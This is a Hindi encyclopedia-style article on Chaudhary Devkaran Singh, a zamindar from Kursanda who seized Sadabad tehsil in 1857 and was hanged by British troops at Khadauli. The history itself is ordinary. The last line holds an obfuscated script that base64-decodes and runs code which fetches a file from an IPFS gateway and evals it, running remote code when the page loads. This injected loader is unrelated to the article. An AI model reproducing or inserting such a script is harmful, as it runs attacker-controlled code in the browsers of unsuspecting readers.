चौधरी देवकरन सिंह
चौधरी देवकरन सिंह (अंग्रेज़ी: Chaudhary Devkaran Singh) उत्तर प्रदेश के प्रसिद्ध स्वतंत्रता सेनानियों में से एक थे। वे अपने क्षेत्र के एक बड़े ही प्रभावशाली ज़मींदार थे। 1857 के युद्ध में देवकरन सिंह ने गाँव वालों को संगठित करके सादाबाद तहसील पर अधिकार कर लिया था। जब अंग्रेज़ों ने पुन: सादाबाद को जीत लिया, तब देवकरन जी गिरफ़्तार कर लिये गए। उन्हें आगरा में फ़ाँसी दी जानी थी, किंतु अंग्रेज़ों ने भारी जनसमूह को देखकर देवकरन सिंह को रास्ते में ही खदौली गाँव में फ़ाँसी दे दी और स्वयं आगरा भाग गए।
परिचय
महान स्वतंत्रता सेनानी चौधरी देवकरन सिंह उत्तर प्रदेश में ब्रज की तहसील सादाबाद के कुरसण्डा नामक ग्राम के एक प्रतिष्ठित ज़मींदार थे। वह अपने क्षेत्र के एक बड़े ही प्रभावशाली ज़मींदार थे, लेकिन इन सभी सुख सुविधाओं के भोग विलास में न फंस कर उन्होंने अपना जीवन देश को समर्पित कर अपने प्राणों की बली दी थी।[1]
विवाह
स्वतंत्रता के लिए अपने प्राणों की आहुती देने वाले चौधरी देवकरन सिंह, गिरधारी जी के पुत्र थे। देवकरन का विवाह भरतपुर, राजस्थान के पथेने गांव के राजा की पुत्री से बड़ी धूम-धाम से हुआ था। वहां से इन्हें 101 गाय भेंट में प्राप्त हुई थीं, जिनके सींग सोने से मढ़े गए थे।
स्वतंत्रता की लड़ाई
सन 1857 के युद्ध में चौधरी देवकरन सिंह ने आस-पास के ग्रामवासियों को संगठित करके सादाबाद तहसील पर अपना अधिकार कर लिया, इसलिए जब आगरा की अंग्रेज़ सेना ने पुन: सादाबाद को जीता, तब देवकरन जी गिरफ़्तार कर लिए गए। अंग्रेज़ी सेना ने यह शर्त लगाई कि- "तुम शान्त रह कर हमें आस-पास के गांवों की तलाशी और लूट करने दो, क्योंकि इन गांव वालों ने बग़ावत में तुम्हारा साथ दिया है। हम तुम्हें इसी शर्त पर छोड़ सकते हैं अन्यथा तुम्हें फांसी दी जायेगी।" अंग्रेज़ों की इस बात को सुनकर देवकरन जी ने कहा- "आप मेरे जीते जी गांव वालों को लूट नहीं कर सकते, आप मुझे फ़ाँसी दे दें।"[1]
फ़ाँसी
चौधरी देवकरन सिंह जी का यह उत्तर सुनकर अंग्रेज़ सेनापति ने उनकी फ़ाँसी का हुक्म दे दिया और उन्हें फ़ाँसी देने के लिए आगरा ले जाने का बंदोबस्त कर दिया गया। सादाबाद से एक व्यक्ति उनके ख़ाली घोड़े के साथ यह समाचार लेकर उनके गाँव कुरसण्डा पहुंचा कि देवकरन फ़ाँसी के लिए आगरा ले जाए जा रहे हैं। तब कुरसण्डा गाँव से भारी जनसमूह पैदल, घोड़ों और गाड़ियों पर चढ़-चढ़कर उन्हें छुड़ाने के लिए उमड़ पड़ा। जब भीड़ का यह सागर अंग्रेज़ी सेना ने दूर से आते देखा तो उन्होंने रास्ते के खदौली गाँव में ही एक बबूल के पेड़ पर देवकरन जी को लटका कर वहीं फ़ाँसी दे दी और स्वयं आगरा भाग गए।
अंग्रेज़ों द्वारा घर की लूटपाट
जब जनता उस पेड़ के निकट पहुंची तो उन्हें देवकरन जी का निष्प्राण शरीर ही देखने को मिला। उन्होंने इस वीर शहीद को पेड़ से उतारा और हज़ारों लोगों की उपस्थिति में उस वीर का अन्तिम संस्कार सम्पन्न किया। जब अंग्रेज़ों को यह पता चला तो वह और बौखला गए। पुलिस द्वारा चौधरी देवकरन सिंह तथा उनके परिवार के घर बुरी तरह लूटे गए और 3 महीनों तक लगातार पुलिस उनके घर को घेरे पड़ी रही। इस प्रकार कुरसण्डा गाँव का सन 1857 ई. के प्रथम महायुद्ध में बड़ा योगदान था।[1]
|
|
|
|
|
टीका-टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 "आप मेरे जीते जी गांव वालों को लूट नहीं सकते, आप मुझे फांसी दे दें" (हिंदी) (firkee.in)। । अभिगमन तिथि: 07 दिसम्बर, 2016।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>